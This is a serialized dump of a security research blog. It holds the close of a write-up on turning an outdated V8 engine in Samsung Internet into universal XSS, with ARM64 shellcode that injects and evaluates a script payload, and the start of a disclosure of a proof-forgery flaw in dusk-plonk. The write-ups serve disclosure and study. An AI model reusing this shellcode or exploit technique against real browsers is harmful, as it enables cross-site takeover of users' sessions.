",{"type":21,"tag":78,"props":143417,"children":143419},{"className":143418},[],[143420],{"type":26,"value":50216},{"type":26,"value":143422}," object containing our XSS payload as ",{"type":21,"tag":78,"props":143424,"children":143426},{"className":143425},[],[143427],{"type":26,"value":143361},{"type":26,"value":143429},", and the ",{"type":21,"tag":78,"props":143431,"children":143433},{"className":143432},[],[143434],{"type":26,"value":143435},"mode",{"type":26,"value":52},{"type":21,"tag":78,"props":143438,"children":143440},{"className":143439},[],[143441],{"type":26,"value":143442},"repl_mode",{"type":26,"value":143444}," values, which are simple enum literals.",{"type":21,"tag":22,"props":143446,"children":143447},{},[143448,143450,143455,143457,143463,143465,143470,143472,143477,143479,143485,143487,143493,143495,143500,143502,143507,143509,143514,143516,143521],{"type":26,"value":143449},"To obtain the ",{"type":21,"tag":78,"props":143451,"children":143453},{"className":143452},[],[143454],{"type":26,"value":142982},{"type":26,"value":143456}," pointer within our shellcode, we call ",{"type":21,"tag":78,"props":143458,"children":143460},{"className":143459},[],[143461],{"type":26,"value":143462},"Isolate::TryGetCurrent()",{"type":26,"value":143464},", which returns the current ",{"type":21,"tag":78,"props":143466,"children":143468},{"className":143467},[],[143469],{"type":26,"value":142982},{"type":26,"value":143471},". To construct a valid ",{"type":21,"tag":78,"props":143473,"children":143475},{"className":143474},[],[143476],{"type":26,"value":50216},{"type":26,"value":143478}," object holding our payload, we call ",{"type":21,"tag":78,"props":143480,"children":143482},{"className":143481},[],[143483],{"type":26,"value":143484},"v8::String::NewFromUTF8",{"type":26,"value":143486},". This ",{"type":21,"tag":78,"props":143488,"children":143490},{"className":143489},[],[143491],{"type":26,"value":143492},"NewFromUTF8",{"type":26,"value":143494}," function takes four arguments: the ",{"type":21,"tag":78,"props":143496,"children":143498},{"className":143497},[],[143499],{"type":26,"value":142982},{"type":26,"value":143501},", the string bytes as ",{"type":21,"tag":78,"props":143503,"children":143505},{"className":143504},[],[143506],{"type":26,"value":195},{"type":26,"value":143508},", an enum literal specifying the string type, and ",{"type":21,"tag":78,"props":143510,"children":143512},{"className":143511},[],[143513],{"type":26,"value":11230},{"type":26,"value":143515},", which is the size of the ",{"type":21,"tag":78,"props":143517,"children":143519},{"className":143518},[],[143520],{"type":26,"value":195},{"type":26,"value":19862},{"type":21,"tag":22,"props":143523,"children":143524},{},[143525],{"type":26,"value":143526},"The resulting shellcode that executes our XSS payload looks like this:",{"type":21,"tag":143,"props":143528,"children":143530},{"code":143529,"language":141818,"meta":7,"className":141819,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[143531],{"type":21,"tag":78,"props":143532,"children":143533},{"__ignoreMap":7},[143534,143542,143550,143558,143566,143574,143582,143590,143598,143606,143614,143622,143630,143637,143645,143653,143661,143669,143676,143684,143691,143699,143707,143714,143721,143728,143735,143742,143749,143757,143765,143772,143780,143788,143795,143803,143811,143818,143825,143833,143841,143849,143856,143864,143872,143880,143888,143896,143904,143912,143920,143928,143936,143944,143951,143959,143967,143974,143982,143990,143998,144006,144013,144021,144028,144035,144043,144051,144059,144067,144076,144085,144093],{"type":21,"tag":153,"props":143535,"children":143536},{"class":155,"line":156},[143537],{"type":21,"tag":153,"props":143538,"children":143539},{},[143540],{"type":26,"value":143541},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":21,"tag":153,"props":143543,"children":143544},{"class":155,"line":166},[143545],{"type":21,"tag":153,"props":143546,"children":143547},{},[143548],{"type":26,"value":143549},"movz x1, #0xf7a0\n",{"type":21,"tag":153,"props":143551,"children":143552},{"class":155,"line":225},[143553],{"type":21,"tag":153,"props":143554,"children":143555},{},[143556],{"type":26,"value":143557},"movk x1, #0x0071, lsl #16\n",{"type":21,"tag":153,"props":143559,"children":143560},{"class":155,"line":239},[143561],{"type":21,"tag":153,"props":143562,"children":143563},{},[143564],{"type":26,"value":143565},"add x9, x12, x1\n",{"type":21,"tag":153,"props":143567,"children":143568},{"class":155,"line":382},[143569],{"type":21,"tag":153,"props":143570,"children":143571},{},[143572],{"type":26,"value":143573},"movz x1, #0x5ac8\n",{"type":21,"tag":153,"props":143575,"children":143576},{"class":155,"line":501},[143577],{"type":21,"tag":153,"props":143578,"children":143579},{},[143580],{"type":26,"value":143581},"movk x1, #0x054f, lsl #16\n",{"type":21,"tag":153,"props":143583,"children":143584},{"class":155,"line":533},[143585],{"type":21,"tag":153,"props":143586,"children":143587},{},[143588],{"type":26,"value":143589},"add x0, x12, x1\n",{"type":21,"tag":153,"props":143591,"children":143592},{"class":155,"line":542},[143593],{"type":21,"tag":153,"props":143594,"children":143595},{},[143596],{"type":26,"value":143597},"blr x9\n",{"type":21,"tag":153,"props":143599,"children":143600},{"class":155,"line":762},[143601],{"type":21,"tag":153,"props":143602,"children":143603},{},[143604],{"type":26,"value":143605},"// *x0 is isolate pointer\n",{"type":21,"tag":153,"props":143607,"children":143608},{"class":155,"line":776},[143609],{"type":21,"tag":153,"props":143610,"children":143611},{},[143612],{"type":26,"value":143613},"// store isolate ptr to stack\n",{"type":21,"tag":153,"props":143615,"children":143616},{"class":155,"line":795},[143617],{"type":21,"tag":153,"props":143618,"children":143619},{},[143620],{"type":26,"value":143621},"ldr x13, [x0]\n",{"type":21,"tag":153,"props":143623,"children":143624},{"class":155,"line":808},[143625],{"type":21,"tag":153,"props":143626,"children":143627},{},[143628],{"type":26,"value":143629},"str x13, [sp, #-16]!\n",{"type":21,"tag":153,"props":143631,"children":143632},{"class":155,"line":820},[143633],{"type":21,"tag":153,"props":143634,"children":143635},{"emptyLinePlaceholder":16},[143636],{"type":26,"value":759},{"type":21,"tag":153,"props":143638,"children":143639},{"class":155,"line":842},[143640],{"type":21,"tag":153,"props":143641,"children":143642},{},[143643],{"type":26,"value":143644},"// store x10 = v8::String::NewFromUTF8\n",{"type":21,"tag":153,"props":143646,"children":143647},{"class":155,"line":3204},[143648],{"type":21,"tag":153,"props":143649,"children":143650},{},[143651],{"type":26,"value":143652},"movz x1, #0x1140\n",{"type":21,"tag":153,"props":143654,"children":143655},{"class":155,"line":3230},[143656],{"type":21,"tag":153,"props":143657,"children":143658},{},[143659],{"type":26,"value":143660},"movk x1, #0x0242, lsl #16\n",{"type":21,"tag":153,"props":143662,"children":143663},{"class":155,"line":3239},[143664],{"type":21,"tag":153,"props":143665,"children":143666},{},[143667],{"type":26,"value":143668},"sub x10, x12, x1\n",{"type":21,"tag":153,"props":143670,"children":143671},{"class":155,"line":3253},[143672],{"type":21,"tag":153,"props":143673,"children":143674},{"emptyLinePlaceholder":16},[143675],{"type":26,"value":759},{"type":21,"tag":153,"props":143677,"children":143678},{"class":155,"line":3301},[143679],{"type":21,"tag":153,"props":143680,"children":143681},{},[143682],{"type":26,"value":143683},"// mmap a RW page for our xss payload\n",{"type":21,"tag":153,"props":143685,"children":143686},{"class":155,"line":3346},[143687],{"type":21,"tag":153,"props":143688,"children":143689},{},[143690],{"type":26,"value":142034},{"type":21,"tag":153,"props":143692,"children":143693},{"class":155,"line":3355},[143694],{"type":21,"tag":153,"props":143695,"children":143696},{},[143697],{"type":26,"value":143698},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":21,"tag":153,"props":143700,"children":143701},{"class":155,"line":3364},[143702],{"type":21,"tag":153,"props":143703,"children":143704},{},[143705],{"type":26,"value":143706},"mov x2, #3\n",{"type":21,"tag":153,"props":143708,"children":143709},{"class":155,"line":3376},[143710],{"type":21,"tag":153,"props":143711,"children":143712},{},[143713],{"type":26,"value":142057},{"type":21,"tag":153,"props":143715,"children":143716},{"class":155,"line":3393},[143717],{"type":21,"tag":153,"props":143718,"children":143719},{},[143720],{"type":26,"value":142065},{"type":21,"tag":153,"props":143722,"children":143723},{"class":155,"line":3405},[143724],{"type":21,"tag":153,"props":143725,"children":143726},{},[143727],{"type":26,"value":142073},{"type":21,"tag":153,"props":143729,"children":143730},{"class":155,"line":3427},[143731],{"type":21,"tag":153,"props":143732,"children":143733},{},[143734],{"type":26,"value":142081},{"type":21,"tag":153,"props":143736,"children":143737},{"class":155,"line":3448},[143738],{"type":21,"tag":153,"props":143739,"children":143740},{},[143741],{"type":26,"value":141996},{"type":21,"tag":153,"props":143743,"children":143744},{"class":155,"line":3456},[143745],{"type":21,"tag":153,"props":143746,"children":143747},{"emptyLinePlaceholder":16},[143748],{"type":26,"value":759},{"type":21,"tag":153,"props":143750,"children":143751},{"class":155,"line":3493},[143752],{"type":21,"tag":153,"props":143753,"children":143754},{},[143755],{"type":26,"value":143756},"// write our xss payload to mmapped rw page\n",{"type":21,"tag":153,"props":143758,"children":143759},{"class":155,"line":3509},[143760],{"type":21,"tag":153,"props":143761,"children":143762},{},[143763],{"type":26,"value":143764},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":21,"tag":153,"props":143766,"children":143767},{"class":155,"line":3517},[143768],{"type":21,"tag":153,"props":143769,"children":143770},{"emptyLinePlaceholder":16},[143771],{"type":26,"value":759},{"type":21,"tag":153,"props":143773,"children":143774},{"class":155,"line":3526},[143775],{"type":21,"tag":153,"props":143776,"children":143777},{},[143778],{"type":26,"value":143779},"// store x11 = XSS_PAYLOAD string\n",{"type":21,"tag":153,"props":143781,"children":143782},{"class":155,"line":3607},[143783],{"type":21,"tag":153,"props":143784,"children":143785},{},[143786],{"type":26,"value":143787},"mov x11, x0\n",{"type":21,"tag":153,"props":143789,"children":143790},{"class":155,"line":3615},[143791],{"type":21,"tag":153,"props":143792,"children":143793},{"emptyLinePlaceholder":16},[143794],{"type":26,"value":759},{"type":21,"tag":153,"props":143796,"children":143797},{"class":155,"line":3629},[143798],{"type":21,"tag":153,"props":143799,"children":143800},{},[143801],{"type":26,"value":143802},"// pop back isolate pointer\n",{"type":21,"tag":153,"props":143804,"children":143805},{"class":155,"line":26297},[143806],{"type":21,"tag":153,"props":143807,"children":143808},{},[143809],{"type":26,"value":143810},"ldr x13, [sp], #16\n",{"type":21,"tag":153,"props":143812,"children":143813},{"class":155,"line":26330},[143814],{"type":21,"tag":153,"props":143815,"children":143816},{"emptyLinePlaceholder":16},[143817],{"type":26,"value":759},{"type":21,"tag":153,"props":143819,"children":143820},{"class":155,"line":26338},[143821],{"type":21,"tag":153,"props":143822,"children":143823},{},[143824],{"type":26,"value":142117},{"type":21,"tag":153,"props":143826,"children":143827},{"class":155,"line":26346},[143828],{"type":21,"tag":153,"props":143829,"children":143830},{},[143831],{"type":26,"value":143832},"// x13 = isolate *\n",{"type":21,"tag":153,"props":143834,"children":143835},{"class":155,"line":26355},[143836],{"type":21,"tag":153,"props":143837,"children":143838},{},[143839],{"type":26,"value":143840},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":21,"tag":153,"props":143842,"children":143843},{"class":155,"line":26431},[143844],{"type":21,"tag":153,"props":143845,"children":143846},{},[143847],{"type":26,"value":143848},"// x10 = v8::String::NewFromUtf8\n",{"type":21,"tag":153,"props":143850,"children":143851},{"class":155,"line":26464},[143852],{"type":21,"tag":153,"props":143853,"children":143854},{"emptyLinePlaceholder":16},[143855],{"type":26,"value":759},{"type":21,"tag":153,"props":143857,"children":143858},{"class":155,"line":26472},[143859],{"type":21,"tag":153,"props":143860,"children":143861},{},[143862],{"type":26,"value":143863},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":21,"tag":153,"props":143865,"children":143866},{"class":155,"line":26480},[143867],{"type":21,"tag":153,"props":143868,"children":143869},{},[143870],{"type":26,"value":143871},"// arg0 = isolate *\n",{"type":21,"tag":153,"props":143873,"children":143874},{"class":155,"line":26517},[143875],{"type":21,"tag":153,"props":143876,"children":143877},{},[143878],{"type":26,"value":143879},"mov x0, x13\n",{"type":21,"tag":153,"props":143881,"children":143882},{"class":155,"line":26530},[143883],{"type":21,"tag":153,"props":143884,"children":143885},{},[143886],{"type":26,"value":143887},"// arg1 = char *c_str\n",{"type":21,"tag":153,"props":143889,"children":143890},{"class":155,"line":26543},[143891],{"type":21,"tag":153,"props":143892,"children":143893},{},[143894],{"type":26,"value":143895},"mov x1, x11\n",{"type":21,"tag":153,"props":143897,"children":143898},{"class":155,"line":26556},[143899],{"type":21,"tag":153,"props":143900,"children":143901},{},[143902],{"type":26,"value":143903},"// arg2 = type = kNormal\n",{"type":21,"tag":153,"props":143905,"children":143906},{"class":155,"line":26610},[143907],{"type":21,"tag":153,"props":143908,"children":143909},{},[143910],{"type":26,"value":143911},"mov x2, #0\n",{"type":21,"tag":153,"props":143913,"children":143914},{"class":155,"line":26619},[143915],{"type":21,"tag":153,"props":143916,"children":143917},{},[143918],{"type":26,"value":143919},"// arg4 = length\n",{"type":21,"tag":153,"props":143921,"children":143922},{"class":155,"line":34974},[143923],{"type":21,"tag":153,"props":143924,"children":143925},{},[143926],{"type":26,"value":143927},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":21,"tag":153,"props":143929,"children":143930},{"class":155,"line":34995},[143931],{"type":21,"tag":153,"props":143932,"children":143933},{},[143934],{"type":26,"value":143935},"// call NewFromUTF8\n",{"type":21,"tag":153,"props":143937,"children":143938},{"class":155,"line":83248},[143939],{"type":21,"tag":153,"props":143940,"children":143941},{},[143942],{"type":26,"value":143943},"blr x10\n",{"type":21,"tag":153,"props":143945,"children":143946},{"class":155,"line":83261},[143947],{"type":21,"tag":153,"props":143948,"children":143949},{"emptyLinePlaceholder":16},[143950],{"type":26,"value":759},{"type":21,"tag":153,"props":143952,"children":143953},{"class":155,"line":83269},[143954],{"type":21,"tag":153,"props":143955,"children":143956},{},[143957],{"type":26,"value":143958},"// store x14 = String XSS_PAYLOAD\n",{"type":21,"tag":153,"props":143960,"children":143961},{"class":155,"line":83277},[143962],{"type":21,"tag":153,"props":143963,"children":143964},{},[143965],{"type":26,"value":143966},"mov x14, x0\n",{"type":21,"tag":153,"props":143968,"children":143969},{"class":155,"line":83285},[143970],{"type":21,"tag":153,"props":143971,"children":143972},{"emptyLinePlaceholder":16},[143973],{"type":26,"value":759},{"type":21,"tag":153,"props":143975,"children":143976},{"class":155,"line":83325},[143977],{"type":21,"tag":153,"props":143978,"children":143979},{},[143980],{"type":26,"value":143981},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":21,"tag":153,"props":143983,"children":143984},{"class":155,"line":83333},[143985],{"type":21,"tag":153,"props":143986,"children":143987},{},[143988],{"type":26,"value":143989},"movz x1, #0xe44c\n",{"type":21,"tag":153,"props":143991,"children":143992},{"class":155,"line":90520},[143993],{"type":21,"tag":153,"props":143994,"children":143995},{},[143996],{"type":26,"value":143997},"movk x1, #0x014e, lsl #16\n",{"type":21,"tag":153,"props":143999,"children":144000},{"class":155,"line":90528},[144001],{"type":21,"tag":153,"props":144002,"children":144003},{},[144004],{"type":26,"value":144005},"sub x9, x12, x1\n",{"type":21,"tag":153,"props":144007,"children":144008},{"class":155,"line":103874},[144009],{"type":21,"tag":153,"props":144010,"children":144011},{"emptyLinePlaceholder":16},[144012],{"type":26,"value":759},{"type":21,"tag":153,"props":144014,"children":144015},{"class":155,"line":103882},[144016],{"type":21,"tag":153,"props":144017,"children":144018},{},[144019],{"type":26,"value":144020},"// call v8::internal::DebugEvaluate::Global\n",{"type":21,"tag":153,"props":144022,"children":144023},{"class":155,"line":103890},[144024],{"type":21,"tag":153,"props":144025,"children":144026},{},[144027],{"type":26,"value":143871},{"type":21,"tag":153,"props":144029,"children":144030},{"class":155,"line":103898},[144031],{"type":21,"tag":153,"props":144032,"children":144033},{},[144034],{"type":26,"value":143879},{"type":21,"tag":153,"props":144036,"children":144037},{"class":155,"line":103926},[144038],{"type":21,"tag":153,"props":144039,"children":144040},{},[144041],{"type":26,"value":144042},"// arg1 = String *source\n",{"type":21,"tag":153,"props":144044,"children":144045},{"class":155,"line":106697},[144046],{"type":21,"tag":153,"props":144047,"children":144048},{},[144049],{"type":26,"value":144050},"mov x1, x14\n",{"type":21,"tag":153,"props":144052,"children":144053},{"class":155,"line":106705},[144054],{"type":21,"tag":153,"props":144055,"children":144056},{},[144057],{"type":26,"value":144058},"// arg2 = mode = kDefault\n",{"type":21,"tag":153,"props":144060,"children":144062},{"class":155,"line":144061},69,[144063],{"type":21,"tag":153,"props":144064,"children":144065},{},[144066],{"type":26,"value":143911},{"type":21,"tag":153,"props":144068,"children":144070},{"class":155,"line":144069},70,[144071],{"type":21,"tag":153,"props":144072,"children":144073},{},[144074],{"type":26,"value":144075},"// arg3 = repl_mode = kYes\n",{"type":21,"tag":153,"props":144077,"children":144079},{"class":155,"line":144078},71,[144080],{"type":21,"tag":153,"props":144081,"children":144082},{},[144083],{"type":26,"value":144084},"mov x3, #0\n",{"type":21,"tag":153,"props":144086,"children":144088},{"class":155,"line":144087},72,[144089],{"type":21,"tag":153,"props":144090,"children":144091},{"emptyLinePlaceholder":16},[144092],{"type":26,"value":759},{"type":21,"tag":153,"props":144094,"children":144096},{"class":155,"line":144095},73,[144097],{"type":21,"tag":153,"props":144098,"children":144099},{},[144100],{"type":26,"value":143597},{"type":21,"tag":114,"props":144102,"children":144104},{"id":144103},"uxss-demo",[144105],{"type":26,"value":144106},"UXSS Demo",{"type":21,"tag":22,"props":144108,"children":144109},{},[144110,144112,144118],{"type":26,"value":144111},"Below is a demo that executes the following UXSS payload: ",{"type":21,"tag":78,"props":144113,"children":144115},{"className":144114},[],[144116],{"type":26,"value":144117},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":26,"value":355},{"type":21,"tag":134155,"props":144120,"children":144123},{"className":144121,"controls":16},[144122],"blog-video-responsive",[144124,144126,144130],{"type":26,"value":144125},"\n  ",{"type":21,"tag":143361,"props":144127,"children":144129},{"src":144128,"type":134153},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":26,"value":144131},"\n  Your browser does not support the video tag.\n",{"type":21,"tag":66,"props":144133,"children":144134},{"id":5568},[144135],{"type":26,"value":5571},{"type":21,"tag":22,"props":144137,"children":144138},{},[144139],{"type":26,"value":144140},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":21,"tag":22,"props":144142,"children":144143},{},[144144],{"type":26,"value":144145},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":21,"tag":5603,"props":144147,"children":144148},{},[144149],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":144151},[144152,144156,144159,144169],{"id":31710,"depth":166,"text":31713,"children":144153},[144154,144155],{"id":134289,"depth":225,"text":134292},{"id":134372,"depth":225,"text":134375},{"id":134405,"depth":166,"text":134408,"children":144157},[144158],{"id":134546,"depth":225,"text":134400},{"id":134690,"depth":166,"text":134693,"children":144160},[144161,144162,144163,144164,144165,144166,144167,144168],{"id":134696,"depth":225,"text":134699},{"id":135153,"depth":225,"text":135156},{"id":135336,"depth":225,"text":135339},{"id":135447,"depth":225,"text":135450},{"id":135724,"depth":225,"text":135727},{"id":138434,"depth":225,"text":138437},{"id":141715,"depth":225,"text":141718},{"id":144103,"depth":225,"text":144106},{"id":5568,"depth":166,"text":5571},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":144174,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":144175,"description":144176,"date":144177,"author":144178,"image":144179,"isFeatured":16,"onBlogPage":16,"tags":144181,"body":144184,"_type":5619,"_id":149448,"_source":5621,"_file":149449,"_stem":149450,"_extension":5624},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[110135,110136],{"src":144180,"width":99565,"height":16340},"/posts/dusk-commitment-issues/title.png",[144182,144183],"dusk","plonk",{"type":18,"children":144185,"toc":149428},[144186,144192,144233,144245,144251,144265,144270,144276,144567,144571,144843,145073,145079,145764,145768,146263,146271,146277,146296,146301,146307,146532,146571,146582,146588,146599,147307,147312,147315,147321,147374,147409,147441,147446,147450,147453,147459,147470,147483,147514,147581,147589,147611,147624,148051,148074,148079,148082,148087,148114,148210,148221,148268,148306,148317,148655,148672,148680,148683,148689,148694,148728,148736,148817,148820,148826,148840,148858,148863,148903,148911,148932,148935,148941,148946,149011,149025,149028,149034,149074,149085,149090,149095,149101,149115,149196,149217,149244,149247,149253,149267,149272,149277,149282,149417,149423],{"type":21,"tag":38066,"props":144187,"children":144189},{"id":144188},"commitment-issues-unverified-evaluations-in-dusks-plonk",[144190],{"type":26,"value":144191},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":21,"tag":22,"props":144193,"children":144194},{},[144195,144197,144204,144206,144213,144215,144222,144224,144231],{"type":26,"value":144196},"We found a critical soundness vulnerability in ",{"type":21,"tag":29,"props":144198,"children":144201},{"href":144199,"rel":144200},"https://github.com/dusk-network/plonk/",[33],[144202],{"type":26,"value":144203},"dusk-plonk",{"type":26,"value":144205},", the PLONK implementation powering ",{"type":21,"tag":29,"props":144207,"children":144210},{"href":144208,"rel":144209},"https://dusk.network/",[33],[144211],{"type":26,"value":144212},"Dusk Network's",{"type":26,"value":144214}," ~$60M ",{"type":21,"tag":29,"props":144216,"children":144219},{"href":144217,"rel":144218},"https://www.coingecko.com/en/coins/dusk",[33],[144220],{"type":26,"value":144221},"market cap",{"type":26,"value":144223},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":21,"tag":29,"props":144225,"children":144228},{"href":144226,"rel":144227},"https://github.com/dusk-network/rusk",[33],[144229],{"type":26,"value":144230},"Rusk",{"type":26,"value":144232}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":21,"tag":22,"props":144234,"children":144235},{},[144236,144238,144243],{"type":26,"value":144237},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":21,"tag":8055,"props":144239,"children":144240},{},[144241],{"type":26,"value":144242},"without ever validating them against the trusted commitments in the verifier key.",{"type":26,"value":144244}," The prover can set them to whatever values make the equation pass.",{"type":21,"tag":66,"props":144246,"children":144248},{"id":144247},"how-plonk-works-briefly",[144249],{"type":26,"value":144250},"How PLONK works (briefly)",{"type":21,"tag":22,"props":144252,"children":144253},{},[144254,144256,144263],{"type":26,"value":144255},"For a rigorous treatment see the ",{"type":21,"tag":29,"props":144257,"children":144260},{"href":144258,"rel":144259},"https://eprint.iacr.org/2019/953",[33],[144261],{"type":26,"value":144262},"original paper",{"type":26,"value":144264},"; what follows covers only the parts needed to understand the bug.",{"type":21,"tag":22,"props":144266,"children":144267},{},[144268],{"type":26,"value":144269},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":21,"tag":114,"props":144271,"children":144273},{"id":144272},"arithmetic-circuits-and-constraints",[144274],{"type":26,"value":144275},"Arithmetic circuits and constraints",{"type":21,"tag":22,"props":144277,"children":144278},{},[144279,144281,144330,144332,144481,144483,144566],{"type":26,"value":144280},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":21,"tag":78,"props":144282,"children":144284},{"className":144283},[6715,6716],[144285],{"type":21,"tag":153,"props":144286,"children":144288},{"className":144287},[6721],[144289],{"type":21,"tag":153,"props":144290,"children":144292},{"className":144291,"ariaHidden":3294},[6726],[144293],{"type":21,"tag":153,"props":144294,"children":144296},{"className":144295},[6731],[144297,144301,144306,144311,144316,144320,144325],{"type":21,"tag":153,"props":144298,"children":144300},{"className":144299,"style":6841},[6736],[],{"type":21,"tag":153,"props":144302,"children":144304},{"className":144303},[24409],[144305],{"type":26,"value":189},{"type":21,"tag":153,"props":144307,"children":144309},{"className":144308},[6742,24280],[144310],{"type":26,"value":21972},{"type":21,"tag":153,"props":144312,"children":144314},{"className":144313},[6852],[144315],{"type":26,"value":6855},{"type":21,"tag":153,"props":144317,"children":144319},{"className":144318,"style":6859},[6820],[],{"type":21,"tag":153,"props":144321,"children":144323},{"className":144322,"style":95830},[6742,24280],[144324],{"type":26,"value":5864},{"type":21,"tag":153,"props":144326,"children":144328},{"className":144327},[24431],[144329],{"type":26,"value":2071},{"type":26,"value":144331}," on an elliptic curve, by e.g proving that ",{"type":21,"tag":78,"props":144333,"children":144335},{"className":144334},[6715,6716],[144336],{"type":21,"tag":153,"props":144337,"children":144339},{"className":144338},[6721],[144340],{"type":21,"tag":153,"props":144341,"children":144343},{"className":144342,"ariaHidden":3294},[6726],[144344,144406,144468],{"type":21,"tag":153,"props":144345,"children":144347},{"className":144346},[6731],[144348,144352,144393,144397,144402],{"type":21,"tag":153,"props":144349,"children":144351},{"className":144350,"style":125681},[6736],[],{"type":21,"tag":153,"props":144353,"children":144355},{"className":144354},[6742],[144356,144361],{"type":21,"tag":153,"props":144357,"children":144359},{"className":144358,"style":95830},[6742,24280],[144360],{"type":26,"value":5864},{"type":21,"tag":153,"props":144362,"children":144364},{"className":144363},[6757],[144365],{"type":21,"tag":153,"props":144366,"children":144368},{"className":144367},[6762],[144369],{"type":21,"tag":153,"props":144370,"children":144372},{"className":144371},[6767],[144373],{"type":21,"tag":153,"props":144374,"children":144376},{"className":144375,"style":6737},[6772],[144377],{"type":21,"tag":153,"props":144378,"children":144379},{"style":6776},[144380,144384],{"type":21,"tag":153,"props":144381,"children":144383},{"className":144382,"style":6782},[6781],[],{"type":21,"tag":153,"props":144385,"children":144387},{"className":144386},[6787,6788,6789,6790],[144388],{"type":21,"tag":153,"props":144389,"children":144391},{"className":144390},[6742,6790],[144392],{"type":26,"value":5873},{"type":21,"tag":153,"props":144394,"children":144396},{"className":144395,"style":6918},[6820],[],{"type":21,"tag":153,"props":144398,"children":144400},{"className":144399},[6923],[144401],{"type":26,"value":2367},{"type":21,"tag":153,"props":144403,"children":144405},{"className":144404,"style":6918},[6820],[],{"type":21,"tag":153,"props":144407,"children":144409},{"className":144408},[6731],[144410,144414,144455,144459,144464],{"type":21,"tag":153,"props":144411,"children":144413},{"className":144412,"style":125556},[6736],[],{"type":21,"tag":153,"props":144415,"children":144417},{"className":144416},[6742],[144418,144423],{"type":21,"tag":153,"props":144419,"children":144421},{"className":144420},[6742,24280],[144422],{"type":26,"value":21972},{"type":21,"tag":153,"props":144424,"children":144426},{"className":144425},[6757],[144427],{"type":21,"tag":153,"props":144428,"children":144430},{"className":144429},[6762],[144431],{"type":21,"tag":153,"props":144432,"children":144434},{"className":144433},[6767],[144435],{"type":21,"tag":153,"props":144436,"children":144438},{"className":144437,"style":6737},[6772],[144439],{"type":21,"tag":153,"props":144440,"children":144441},{"style":6776},[144442,144446],{"type":21,"tag":153,"props":144443,"children":144445},{"className":144444,"style":6782},[6781],[],{"type":21,"tag":153,"props":144447,"children":144449},{"className":144448},[6787,6788,6789,6790],[144450],{"type":21,"tag":153,"props":144451,"children":144453},{"className":144452},[6742,6790],[144454],{"type":26,"value":4303},{"type":21,"tag":153,"props":144456,"children":144458},{"className":144457,"style":6821},[6820],[],{"type":21,"tag":153,"props":144460,"children":144462},{"className":144461},[6826],[144463],{"type":26,"value":4099},{"type":21,"tag":153,"props":144465,"children":144467},{"className":144466,"style":6821},[6820],[],{"type":21,"tag":153,"props":144469,"children":144471},{"className":144470},[6731],[144472,144476],{"type":21,"tag":153,"props":144473,"children":144475},{"className":144474,"style":96375},[6736],[],{"type":21,"tag":153,"props":144477,"children":144479},{"className":144478},[6742],[144480],{"type":26,"value":56962},{"type":26,"value":144482},", here in 